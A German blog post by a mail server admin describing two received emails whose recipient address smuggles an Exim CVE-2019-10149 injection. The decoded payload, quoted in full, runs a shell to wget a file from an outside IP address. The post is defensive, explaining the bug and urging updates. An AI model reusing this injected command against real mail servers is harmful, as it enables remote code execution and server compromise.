Gestern erhielt ich zwei … „interessante“ E-Mails an den root-Account meines Servers. Der Body war jeweils leer. Der Header sieht so aus:
Return-Path: <support@service.com>
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f176.9.63.237x22}}@atari-frosch.de
Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f176.9.63.237x22}}@atari-frosch.de
Received: from service.com (flamingw.arvixecloud.com [108.175.157.131])
by mail.atari-frosch.de (Postfix) with SMTP id B61EAC9E8;
Wed, 19 Jun 2019 16:58:45 +0200 (CEST)
Darunter folgten noch 31 Received-Zeilen, die jedoch nur jeweils die Zahlen von 1 bis 31 enthielten. Die To:-Zeile ist dabei das Spannende:
Wenn man da nämlich die encodeten Zeichen in Klartext umsetzt, kommt das hier raus:
root+${run{/bin/sh -ct "wget 64.50.180.45/tmp/176.9.63.237"}}@atari-frosch.de
Da steht also im localpart der Mailadresse (dem Teil vor dem @) eine Anweisung, die man eigentlich an der Konsole eingeben würde, davon ausgehend, daß der Mailserver das tatsächlich so interpretieren und dann auch ausführen würde. Das wäre schon ein sehr heftiger Bug, nicht wahr?
Das Krasse daran: Es ist tatsächlich einer, und zwar in der Mailserver-Software Exim. Nachdem ich diese lustige To:-Zeile auf Twitter gepostet hatte, wurde ich auf CVE-2019-10149 – „The Return of the WIZard“ – aufmerksam gemacht.
Allerdings hatte ich anfangs nur einen Teil der encodeten Zeichen als solche erkannt, weshalb ich das so gelesen hatte, daß wget aus einem Verzeichnis /bin/sht-ctx/ heraus aufgerufen werden sollte. Dieses Verzeichnis gibt es wohl tatsächlich – allerdings eher nicht auf Linux-Systemen. Es scheint eher was mit Solaris zu tun zu haben. Ich hab da allerdings nur oberflächlich recherchiert und das nicht genauer verfolgt.
Also: Wer Exim als Mailserver nutzt, sollte unbedingt und ganz schnell das Update einspielen!
Dankeschön an Freddie Leeman, der meinen Tweet wohl via @AlexSchestag gesehen und beantwortet hat.
It is a recent Exim exploit. If you use Exim, make sure it's up-to-date. https://t.co/z7215XmQFx
— Freddie Leeman (@freddieleeman) June 20, 2019
Achja. Postfix guckt nur 'n bißchen komisch, sieht root+ als Beginn des localparts und räumt die Mail dann schulterzuckend in den root-Mailaccount. 
Das liegt daran, daß eigentlich alles, was nach einem + im localpart folgt, inclusive diesem vom Mailserver ignoriert werden soll. Mit dieser Methode kann man sich Mailadressen für bestimmte Zwecke quasi markieren, ohne das explizit in den Mailserver eintragen zu müssen. Im Mailprogramm kann man aber nach diesen Adreß-Zusätzen filtern und die Mails an diese erweiterte Adresse in ein separates Verzeichnis verschieben. Oder auch erkennen, wenn sie wo gelandet ist, wo sie nicht hinkommen sollte.
Für den Mailaccount von root ist das wohl eher ungewöhnlich, aber natürlich genauso möglich wie für alle anderen Mailaccounts.
[Update 2019-06-20 18:50] – Alex war, genau wie mir vorher auch schon, aufgefallen, daß da bei der „Auflösung“ des Encodings eventuell noch was nicht stimmen kann. Daher fragte er nochmal bei Freddie Leeman nach:
I recognized the t, but then it should be „root+${run{x2Fbinx2Fshx20-ctx22“ to be correct. There must be a space between the call of /bin/sh and the according parameters -ct, not a t.
— Atari-Frosch Blumenkind (@AtariFrosch) June 20, 2019
OK, ganz stimmte seine Interpretation noch nicht, deshalb hatte ich mich dann doch nochmal in den Thread mit eingemischt. Die Erklärung von Freddie war sinngemäß: Ja doch, paßt schon. Da stand nämlich ursprünglich nicht nur „t“, sondern „\t“, was für einen TAB steht. Der wiederum wird genauso wie ein Leerzeichen als „white space“ interpretiert; auf einer Konsole würde das also genauso funktionieren wie mit einem Leerzeichen.
Es waren offenbar auch noch weitere \ in der Zeichenkette enthalten gewesen, nämlich vor jedem encodeten Zeichen. Nur hat Postfix die offenbar rausgenommen, weil die da halt einfach nicht hingehören; das ist kein erlaubtes Zeichen im localpart einer Mailadresse. Damit stand das „t“ plötzlich alleine da bzw. schien zu den vorhergehenden Buchstaben zu gehören.
Ich hatte erst auf einen Typo beim Absender getippt, aber diese Erklärung ist natürlich noch sinnvoller. Ja, und da muß ich Postfix doch einfach mal loben. 
Und natürlich auch den Freddie für die geduldigen Antworten.
[/Update]
(@amberagemusic) 
(@winterfruitloop) 
NoHo Pride Aldi Gavin || クソ冷え! 
(@valentine_chill) 
(@cellyluff) 
(@canuck_leaf) 
Testergebnis und Microformat aus benutzerdefinierten Feldern.
Are you unique?
